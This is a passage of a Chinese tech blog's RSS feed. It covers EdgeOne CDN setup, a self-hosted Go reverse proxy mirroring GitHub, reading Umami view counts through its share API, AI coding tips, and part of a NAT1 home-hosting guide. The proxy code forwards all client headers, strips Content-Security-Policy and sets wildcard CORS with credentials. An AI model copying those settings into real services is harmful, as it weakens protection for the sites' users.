&lt;p&gt;浏览器访问: https://edgeone.ai 注册账号&lt;/p&gt;
&lt;p&gt;或者看视频: https://www.bilibili.com/video/BV1KmNUzVEEL&lt;/p&gt;
&lt;h1&gt;关于EdgeOne CDN - 网站安全加速&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;需要搞免费版兑换码。或者直接买个人版后可用,需要外币卡。&lt;/p&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区(不含中国大陆)&lt;/code&gt; 。会分配给你一个类似 &lt;code&gt;eo3-blog.afo.im.eo.dnse4.com&lt;/code&gt; 这样的CNAME地址要求你做CNAME解析。IP很烂。&lt;strong&gt;可以直接做优选。&lt;/strong&gt; 获取方式很简单直接ITDOG PING &lt;code&gt;edgeone.ai&lt;/code&gt; 找个最快的IP直接写A解析貌似国内的也可以🤔如图。&lt;strong&gt;本人EdgeOne优选&lt;/strong&gt; &lt;code&gt;eo.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/42ff5956-d1db-4005-8d96-05fcf7eb76f0.GjrDRWUC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5e49847b-568e-44e3-97d1-737359d6d9d7.BJNFm33k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/45abf772-9757-4172-984f-d9b5a01ae1de.DnKrS3_e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为这玩意是一个CDN需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站然后设置回源如下注意回源Hosts头要填写源站域名否则CF可能会报423 Locked &lt;em&gt;他妈的比腾讯云的418我是个茶壶规范多了😅&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2bb58f42-4d8d-4429-a412-ff256b41087d.Djc2iYpy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后开启SSL结束享受它吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3063dcd0-857d-4280-8ed2-21f4beddb69a.BWvKF6zE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;关于EdgeOne Pages&lt;/h1&gt;
&lt;p&gt;不用花钱,注册账号后即可用&lt;/p&gt;
&lt;p&gt;不管你的加速区域在哪都建议绑定自己的域名否则可能出现访问401。含中国大陆的区域需要域名备案&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区(不含中国大陆)&lt;/code&gt; 。IP现在从新加坡Anycast改为了俩IP如果按国内可用来算43.175.44.57中国香港。非移动延迟250ms+移动延迟100ms- 43.132.85.153日本东京。三网200ms左右。比起之前的新加坡平均300ms的神奇IP好了很多&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EdgeOne Pages无法优选&lt;/strong&gt;。如果将EdgeOne Pages托管的域名指向非 &lt;code&gt;edgeone.app&lt;/code&gt; 解析出的IP。会报418比如EdgeOne CDN节点IP&lt;/p&gt;
&lt;p&gt;默认时延情况,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/fcf64bcf-7121-4952-b7e1-1aac7b7fe33d.DyzRpVkr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;默认延迟50ms以下中国大陆&lt;/p&gt;
&lt;p&gt;优选不能将IP指向EdgeOne CDN节点的IP否则报418。&lt;/p&gt;
</content:encoded></item><item><title>在VPS上部署一个自己的Github全站反代</title><link>https://blog.acofork.com/posts/go-proxy-gh/</link><guid isPermaLink="true">https://blog.acofork.com/posts/go-proxy-gh/</guid><description>利用Go作为后端重写Github发送的HTML并且创建多个反向代理从0自建Github全站反代</description><pubDate>Fri, 20 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;至今我仍在维护一个Github全站反代的服务就是 https://gh.072103.xyz/afoim 。也跟大家谈过&lt;a href=&quot;/posts/gh-proxy/&quot;&gt;原理&lt;/a&gt;。最近弄到了一个免费的VPS就想着将Cloudflare Worker的反代移植到VPS上来&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;VPS安装Golang运行时&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install golang
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建一个文件夹。放置 &lt;code&gt;main.go&lt;/code&gt; 源码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main
import (
&quot;fmt&quot;
&quot;io&quot;
&quot;log&quot;
&quot;net/http&quot;
&quot;net/url&quot;
&quot;regexp&quot;
&quot;strings&quot;
&quot;time&quot;
)
// 域名映射配置
var domainMappings = map[string]string{
&quot;github.com&quot;: &quot;gh.&quot;,
&quot;avatars.githubusercontent.com&quot;: &quot;avatars-githubusercontent-com.&quot;,
&quot;github.githubassets.com&quot;: &quot;github-githubassets-com.&quot;,
&quot;collector.github.com&quot;: &quot;collector-github-com.&quot;,
&quot;api.github.com&quot;: &quot;api-github-com.&quot;,
&quot;raw.githubusercontent.com&quot;: &quot;raw-githubusercontent-com.&quot;,
&quot;gist.githubusercontent.com&quot;: &quot;gist-githubusercontent-com.&quot;,
&quot;github.io&quot;: &quot;github-io.&quot;,
&quot;assets-cdn.github.com&quot;: &quot;assets-cdn-github-com.&quot;,
&quot;cdn.jsdelivr.net&quot;: &quot;cdn.jsdelivr-net.&quot;,
&quot;securitylab.github.com&quot;: &quot;securitylab-github-com.&quot;,
&quot;www.githubstatus.com&quot;: &quot;www-githubstatus-com.&quot;,
&quot;npmjs.com&quot;: &quot;npmjs-com.&quot;,
&quot;git-lfs.github.com&quot;: &quot;git-lfs-github-com.&quot;,
&quot;githubusercontent.com&quot;: &quot;githubusercontent-com.&quot;,
&quot;github.global.ssl.fastly.net&quot;: &quot;github-global-ssl-fastly-net.&quot;,
&quot;api.npms.io&quot;: &quot;api-npms-io.&quot;,
&quot;github.community&quot;: &quot;github-community.&quot;,
}
// 需要重定向的路径
var redirectPaths = []string{&quot;/&quot;, &quot;/login&quot;, &quot;/signup&quot;, &quot;/copilot&quot;}
// 检查路径是否需要重定向
func shouldRedirect(path string) bool {
for _, p := range redirectPaths {
if path == p {
return true
}
}
return false
}
// 获取代理前缀
func getProxyPrefix(host string) string {
if strings.HasPrefix(host, &quot;gh.&quot;) {
return &quot;gh.&quot;
}
for _, prefix := range domainMappings {
if strings.HasPrefix(host, prefix) {
return prefix
}
}
return &quot;&quot;
}
// 根据前缀获取目标域名
func getTargetHost(prefix string) string {
for original, p := range domainMappings {
if p == prefix {
return original
}
}
return &quot;&quot;
}
// 处理响应内容,替换域名引用
func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte {
// 只处理文本内容
if !strings.Contains(contentType, &quot;text/&quot;) &amp;amp;&amp;amp;
!strings.Contains(contentType, &quot;application/json&quot;) &amp;amp;&amp;amp;
!strings.Contains(contentType, &quot;application/javascript&quot;) &amp;amp;&amp;amp;
!strings.Contains(contentType, &quot;application/xml&quot;) {
return body
}
text := string(body)
// 获取当前域名的后缀部分
domainSuffix := currentHostname[len(hostPrefix):]
// 替换所有域名引用
for originalDomain, proxyPrefix := range domainMappings {
fullProxyDomain := proxyPrefix + domainSuffix
// 替换完整URLs - 使用简单的字符串替换
text = strings.ReplaceAll(text, &quot;https://&quot;+originalDomain, &quot;https://&quot;+fullProxyDomain)
text = strings.ReplaceAll(text, &quot;http://&quot;+originalDomain, &quot;https://&quot;+fullProxyDomain)
// 替换协议相对URLs
text = strings.ReplaceAll(text, &quot;//&quot;+originalDomain, &quot;//&quot;+fullProxyDomain)
// 替换带引号的域名引用
text = strings.ReplaceAll(text, `&quot;`+originalDomain+`&quot;`, `&quot;`+fullProxyDomain+`&quot;`)
text = strings.ReplaceAll(text, `&apos;`+originalDomain+`&apos;`, `&apos;`+fullProxyDomain+`&apos;`)
}
// 处理相对路径 - 使用简单的字符串替换
if hostPrefix == &quot;gh.&quot; {
// 替换引号内的相对路径
text = strings.ReplaceAll(text, `&quot;/`, `&quot;https://`+currentHostname+`/`)
text = strings.ReplaceAll(text, `&apos;/`, `&apos;https://`+currentHostname+`/`)
}
return []byte(text)
}
// 处理请求
func handleRequest(w http.ResponseWriter, r *http.Request) {
currentHost := r.Host
// 检查特殊路径重定向
if shouldRedirect(r.URL.Path) {
http.Redirect(w, r, &quot;https://www.gov.cn&quot;, http.StatusFound)
return
}
// 从当前主机名中提取前缀
hostPrefix := getProxyPrefix(currentHost)
if hostPrefix == &quot;&quot; {
http.Error(w, &quot;Domain not configured for proxy&quot;, http.StatusNotFound)
return
}
// 根据前缀找到对应的原始域名
targetHost := getTargetHost(hostPrefix)
if targetHost == &quot;&quot; {
http.Error(w, &quot;Domain not configured for proxy&quot;, http.StatusNotFound)
return
}
// 处理路径修复嵌套URL问题
pathname := r.URL.Path
// 修复特定的嵌套URL模式
// 处理 URL 编码的嵌套路径
re1 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https%3A//[^/]+.*`)
pathname = re1.ReplaceAllString(pathname, &quot;$1&quot;)
// 处理未编码的嵌套路径
re2 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https://[^/]+.*`)
pathname = re2.ReplaceAllString(pathname, &quot;$1&quot;)
// 处理简化的嵌套路径(如 /main/https:/domain/
re3 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https:/[^/]+.*`)
pathname = re3.ReplaceAllString(pathname, &quot;$1&quot;)
// 构建目标URL
targetURL := &amp;amp;url.URL{
Scheme: &quot;https&quot;,
Host: targetHost,
Path: pathname,
RawQuery: r.URL.RawQuery,
}
// 创建新的请求
req, err := http.NewRequest(r.Method, targetURL.String(), r.Body)
if err != nil {
http.Error(w, fmt.Sprintf(&quot;Failed to create request: %v&quot;, err), http.StatusInternalServerError)
return
}
// 复制请求头
for key, values := range r.Header {
for _, value := range values {
req.Header.Add(key, value)
}
}
// 设置必要的请求头
req.Header.Set(&quot;Host&quot;, targetHost)
req.Header.Set(&quot;Referer&quot;, targetURL.String())
// 禁用压缩以避免编码问题
req.Header.Set(&quot;Accept-Encoding&quot;, &quot;identity&quot;)
// 创建HTTP客户端
client := &amp;amp;http.Client{
Timeout: 30 * time.Second,
}
// 发起请求
resp, err := client.Do(req)
if err != nil {
http.Error(w, fmt.Sprintf(&quot;Proxy Error: %v&quot;, err), http.StatusBadGateway)
return
}
defer resp.Body.Close()
// 读取响应体
body, err := io.ReadAll(resp.Body)
if err != nil {
http.Error(w, fmt.Sprintf(&quot;Failed to read response: %v&quot;, err), http.StatusInternalServerError)
return
}
// 处理响应内容
contentType := resp.Header.Get(&quot;Content-Type&quot;)
modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost)
// 设置响应头(排除压缩相关头部)
for key, values := range resp.Header {
// 跳过压缩相关的头部因为Go已经自动解压缩了内容
if key == &quot;Content-Encoding&quot; || key == &quot;Content-Length&quot; {
continue
}
for _, value := range values {
w.Header().Add(key, value)
}
}
// 设置CORS和缓存头
w.Header().Set(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;)
w.Header().Set(&quot;Access-Control-Allow-Credentials&quot;, &quot;true&quot;)
w.Header().Set(&quot;Cache-Control&quot;, &quot;public, max-age=14400&quot;)
w.Header().Del(&quot;Content-Security-Policy&quot;)
w.Header().Del(&quot;Content-Security-Policy-Report-Only&quot;)
w.Header().Del(&quot;Clear-Site-Data&quot;)
// 设置正确的Content-Length
w.Header().Set(&quot;Content-Length&quot;, fmt.Sprintf(&quot;%d&quot;, len(modifiedBody)))
// 设置状态码
w.WriteHeader(resp.StatusCode)
// 写入响应
w.Write(modifiedBody)
}
func main() {
// 创建路由处理器
http.HandleFunc(&quot;/&quot;, handleRequest)
// 启动服务器
port := &quot;:8080&quot;
log.Printf(&quot;GitHub代理服务器启动在端口 %s&quot;, port)
log.Printf(&quot;请确保你的域名已正确配置并指向此服务器&quot;)
if err := http.ListenAndServe(port, nil); err != nil {
log.Fatal(&quot;服务器启动失败:&quot;, err)
}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续放置 &lt;code&gt;go.mod&lt;/code&gt; 。源码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module github-proxy
go 1.19
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行。默认跑在8080端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go run .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出以下日志即成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@localhost:~/go_proxy# go run .
2025/06/20 23:13:17 GitHub代理服务器启动在端口 :8080
2025/06/20 23:13:17 请确保你的域名已正确配置并指向此服务器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用Nginx或者OpenResty反向代理 &lt;code&gt;localhost:8080&lt;/code&gt; 。配置域名,格式为 &lt;code&gt;gh.你的域名&lt;/code&gt; 。我的配置如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/123a521d-2340-4433-b9fe-4965d46d4321.CBQyGvRv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;签发泛域名证书并且部署,配置完毕后如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b58b55fe-adbd-4d3e-8977-c3f7efaf0185.D9vxYXQ8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问,现在你通过自己的域名+VPS代理访问Github。国内直连无需梯子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/fccbc8af-d2b1-479f-b32d-d0f023fd4c06.DgSgPMC-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>静态博客也想展示文章浏览量?当然可以!</title><link>https://blog.acofork.com/posts/static-view/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-view/</guid><description>利用Umami等站点分析软件可以让管理员了解站点活跃度但是如果我们想向用户展示一些数据呢</description><pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;如果你用过WordPressHalo等动态博客框架你大概会在用户视角访问博文的时候看到浏览量这个信息。&lt;/p&gt;
&lt;p&gt;这个原理很简单因为动态博客依赖于一个VPS只需要让用户每次访问的时候给浏览量+1即可。&lt;/p&gt;
&lt;p&gt;那么如果我们是静态博客呢?&lt;/p&gt;
&lt;p&gt;我们可以依赖一些第三方服务,比如&lt;a href=&quot;https://umami.is&quot;&gt;Umami Cloud&lt;/a&gt;。在你的静态博客的head注入一个js这样你就可以看到你的站点分析了类似下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2c1e7d81-6f6d-4323-b0de-013b2d168be1.D401cIMg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们确实可以看到每个文章(即/posts/xxx的访问量了但是我们要如何展示给用户呢&lt;/p&gt;
&lt;h1&gt;逆向Umami的只读页面新版v3&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;感谢nightNya提供的方案你是天才&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先我们启用分享URL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/023f687b-6e4a-46d8-b7f2-4778f20ebe99.BNFPkmbp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意这里的 &lt;code&gt;7PoDRgCzHFTs2vWB&lt;/code&gt; ,每个站点都不一样&lt;/p&gt;
&lt;p&gt;接着我们请求 &lt;code&gt;https://cloud.umami.is/analytics/us/api/share/7PoDRgCzHFTs2vWB&lt;/code&gt;,得到
&lt;em&gt;注意,这里的 &lt;code&gt;us&lt;/code&gt; 为你创建的账号区域美国为us欧盟为eu&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;websiteId&quot;: &quot;a66a5fd4-98b0-4108-8606-cb7094f380ac&quot;,
&quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再接着我们请求,携带请求头 &lt;code&gt;x-umami-share-token&lt;/code&gt; 值为上一步获得的Token&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://cloud.umami.is/analytics/us/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0&amp;amp;endAt=1750805999999&amp;amp;unit=hour&amp;amp;timezone=Asia/Hong_Kong&amp;amp;path=eq./posts/cf-fastip/&amp;amp;compare=false&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里解释几个关键Params其他的照搬&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;startAt统计开始时间。Unix时间戳我们填写为0让Umami从1970年开始统计&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;endAt统计结束时间。Unix时间戳我们可以使用 &lt;code&gt;Date.now()&lt;/code&gt; 即当前时间和startAt参数联动即可实现统计总浏览量&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;path要查询的路径填写为你的文章页去除了Host的路径&lt;code&gt;/posts/hello&lt;/code&gt; 。注意Umami会将 &lt;code&gt;/posts/hello&lt;/code&gt;&lt;code&gt;/posts/hello/&lt;/code&gt; 视为两个不同的路径,请注意你的博客框架是否使用 &lt;code&gt;/&lt;/code&gt;。在v3版本中需要使用 &lt;code&gt;eq.&lt;/code&gt; 前缀来进行精确匹配,例如 &lt;code&gt;path=eq./posts/hello/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你会得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;pageviews&quot;: 1655,
&quot;visitors&quot;: 343,
&quot;visits&quot;: 411,
&quot;bounces&quot;: 183,
&quot;totaltime&quot;: 30592,
&quot;comparison&quot;: {
&quot;pageviews&quot;: 0,
&quot;visitors&quot;: 0,
&quot;visits&quot;: 0,
&quot;bounces&quot;: 0,
&quot;totaltime&quot;: 0
}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pageviews&lt;/code&gt; 即浏览量。 &lt;code&gt;visitors&lt;/code&gt; 即访问人数。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Enjoy it&lt;/p&gt;
&lt;p&gt;最终效果:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ce822960-f7ef-444e-84d1-fa0758e2b5e8.CTBK92Nm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>AI写不出优质的代码其实是你引导错了</title><link>https://blog.acofork.com/posts/aicode-prompt/</link><guid isPermaLink="true">https://blog.acofork.com/posts/aicode-prompt/</guid><description>如今大语言模型百花齐放有开山鼻祖OpenAI的ChatGPT系列也有Anthropic开发的代码神器Claude系列。但是哪怕模型再先进再聪明如果用它的人使用的方法不对那再好的模型用起来也是笨笨的</description><pubDate>Tue, 17 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频链接: https://www.bilibili.com/video/BV1jw38z9EEn/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正确的引导方法&lt;/h1&gt;
&lt;p&gt;先搞清楚你自己具体的需求。比如代码用什么语言编写?用什么技术栈?要具体实现什么功能?应用的场景是什么?是前端、后端还是全栈等等&lt;/p&gt;
&lt;p&gt;逻辑清晰,简洁干练地表述你的需求。&lt;/p&gt;
&lt;p&gt;比如: &lt;code&gt;编写一个Python脚本在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url暂时全部留空。运行后监听Ctrl+Alt+A一旦被按下立即检查剪贴板内是否有图片支持文件格式和纯图格式将其转换为Webp格式并上传到S3 API的S3_Url路径下最后模拟键入![](图片链接)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果不确定AI是否理解了你的需求可以CallBack一下避免AI假装理解了你的需求然后一通乱写比如上面的表述可以改为&lt;/p&gt;
&lt;p&gt;&lt;code&gt;编写一个Python脚本在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url暂时全部留空。运行后监听Ctrl+Alt+A一旦被按下立即检查剪贴板内是否有图片支持文件格式和纯图格式将其转换为Webp格式并上传到S3 API的S3_Url路径下最后模拟键入![](图片链接)。你明白了吗,请告诉我你将要如何完成这个任务,在我批准前请不要编写代码&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有时候表达模糊实际上是好事。&lt;/p&gt;
&lt;p&gt;因为你一旦开始描述创建一个什么什么变量赋值为多少多少的时候实际上你不是在用AI写代码而是让AI将你的自然语言代码转换为编程语言代码这就不是一个创造式的需求而是一个翻译类的需求最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。&lt;/p&gt;
&lt;p&gt;所以在面对大部分的需求我们可以先大致描述一个框架确认AI的方向正确后慢慢编写项目&lt;/p&gt;
&lt;p&gt;AI也会犯错并且极其容易瞎猜。不要尽信AI给出的内容在涉及到你不懂的知识时我们可以翻阅&lt;a href=&quot;https://wikipedia.org&quot;&gt;维基百科&lt;/a&gt;等权威知识网来验证&lt;/p&gt;
&lt;p&gt;不要让AI一直自我检查。现代的AI IDE中大部分已经实现了Agent模式也就是 &lt;code&gt;用户提出需求 -&amp;gt; AI分析并实现需求 -&amp;gt; AI自动Debug -&amp;gt; 最终交付用户项目&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是在我半年的AI IDE使用经验中如果代码出现Bug请不要说类似 &lt;code&gt;这个代码跑不了,帮我看看&lt;/code&gt; 这样的话我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决例如&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[报错信息]它报错了,请根据报错信息深度分析一下问题导致的原因,并给我一个解决方案&lt;/code&gt;而不是让AI自身Debug。&lt;/p&gt;
&lt;p&gt;因为有时候程序的报错可能只是一个简单的环境变量没配置或者是你没有使用一个主流的方案单纯让AI自我检讨只会让AI选择它最认为出错的地方。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;换位思考一下你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类它只会在它认为正确的道路上越走越远运气好迭代几次Bug解决了运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山然后你花钱买的请求数也就这样浪费了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;最后请善用AI你也可以询问AI &lt;code&gt;你的最佳调用方式是什么&lt;/code&gt;&lt;s&gt;当然,她也有可能欺骗你&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;AI推荐&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://chatgpt.com&quot;&gt;ChatGPT&lt;/a&gt;:快速,不限额。适合解决你的疑问
&lt;img src=&quot;https://blog.acofork.com/_astro/c2e37057-78c9-403f-b3af-e84bdad98f1e.CXFN4SmF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai&quot;&gt;Claude&lt;/a&gt;相比于GPT更强大更擅长编写代码尤其是前端目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型非常适合编写可拆解易维护的小脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f9adcc5e-64bc-48f0-8845-893242abec33.TPqPbTPQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VS CodeGithub Copilot&lt;/a&gt;AI IDE。由微软开发免费用户可以使用Claude 3.5 Sonnet模型但是份额较少。Pro计划10USD/m仅支持Paypal和海外卡支付&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/70b6f916-ba70-45a6-b572-3b32214f0c1f._MksDzQK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cursor.com&quot;&gt;Cursor&lt;/a&gt;AI IDE。由Anysphere开发免费用户仅能使用Auto模型一般不会分配到Claude模型。Pro计划10USD/m仅支持Paypal和海外卡支付&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/4287002f-eb0e-43b0-87b7-1fa43c37a497.aynFFXXk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.trae.ai&quot;&gt;Trae国际版&lt;/a&gt;AI IDE。由字节跳动开发需要国外IP。新用户Pro计划开通首月仅需3USD/m之后为10USD/m支持支付宝和海外卡支付。本人目前在用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/40b76f69-2c50-49d0-b861-05f8879accab.D3TzgNS4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;写任何项目都完全不推荐使用网页版的任何大模型编写请使用AI IDE&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>NAT1开放内网网站</title><link>https://blog.acofork.com/posts/nat1-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/nat1-web/</guid><description>利用CF动态重定向透过STUN+Lucky WebHook实时更新STUN端口实现NAT1家宽建站</description><pubDate>Sat, 31 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配套视频&lt;/h1&gt;
&lt;p&gt;&amp;lt;iframe src=&quot;//player.bilibili.com/player.html?isOutside=true&amp;amp;aid=114597528936170&amp;amp;bvid=BV1hY7szUEbu&amp;amp;cid=30235755189&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/7c517b72-8287-4707-8dff-12690a71d592.BoV3_xSN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h3&gt;创建必要的Cloudflare API令牌&lt;/h3&gt;
&lt;p&gt;创建拥有如下图权限的令牌使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/890468f0-7e7f-42b9-ba57-f98e3b964626.BOJOfOip.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建基底Cloudflare动态重定向规则&lt;/h3&gt;
&lt;p&gt;如图填写,替换为你的域名
&lt;img src=&quot;https://blog.acofork.com/_astro/9c4a1cb0-d1c6-4e9b-b2bb-dfd6b6fe6306.CSbIKO3k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;表达式: &lt;code&gt;wildcard_replace(http.request.full_uri, &quot;*://*.072103.xyz/*&quot;, &quot;https://${2}.stun.072103.xyz:6666/${3}&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;观察网址,记录下如下图的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/bdd05652-4676-418f-b8aa-1dfc5b3dfab1.fGT8jap_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开开发者工具后,再保存,确保抓到这样的包,保存备用
&lt;img src=&quot;https://blog.acofork.com/_astro/60e191a3-c4d8-40a2-b9b7-13af0fae38ab.Dw79VmKV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dash.cloudflare.com/api&lt;/code&gt; 改为 &lt;code&gt;api.cloudflare.com/client&lt;/code&gt; 。将刚才获得的红框内的内容填写到 &lt;code&gt;rules&lt;/code&gt; 后面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b1a7a07c-7b4b-49ff-a152-938e30d93ee6.9bXSmfiz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
